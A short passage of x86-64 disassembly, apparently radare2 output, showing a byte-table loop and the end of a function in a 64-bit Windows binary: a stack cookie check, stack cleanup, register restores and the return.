movsx rax, byte [rax + r8 + 0x38470]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140018c15
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140018c5f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400066b0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret